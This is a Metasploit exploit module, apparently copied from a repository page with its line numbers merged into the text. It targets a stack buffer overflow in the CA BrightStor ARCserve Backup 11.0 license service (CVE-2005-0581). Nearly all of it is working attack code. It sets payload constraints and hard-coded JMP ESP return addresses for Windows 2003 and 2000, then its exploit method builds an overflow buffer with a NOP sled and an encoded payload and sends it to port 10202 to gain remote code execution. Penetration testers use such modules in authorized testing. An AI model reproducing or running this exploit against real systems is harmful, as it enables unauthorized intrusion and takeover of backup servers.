Path: blob/master/modules/exploits/windows/brightstor/license_gcr.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.17By sending a specially crafted request to the lic98rmtd.exe service, an attacker18could overflow the buffer and execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2005-0581' ],24[ 'OSVDB', '14389' ],25[ 'BID', '12705' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 500,33'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",34'StackAdjustment' => -3500,35'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll40[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll41],42'DisclosureDate' => '2005-03-02',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([ Opt::RPORT(10202) ])53end5455def exploit56connect5758buff = rand_text_alpha_upper(256) + [target.ret].pack('V')59buff << make_nops(12) + payload.encoded6061# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.62sploit = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"6364print_status("Trying target #{target.name}...")6566sock.put(sploit)6768handler69disconnect70end71end727374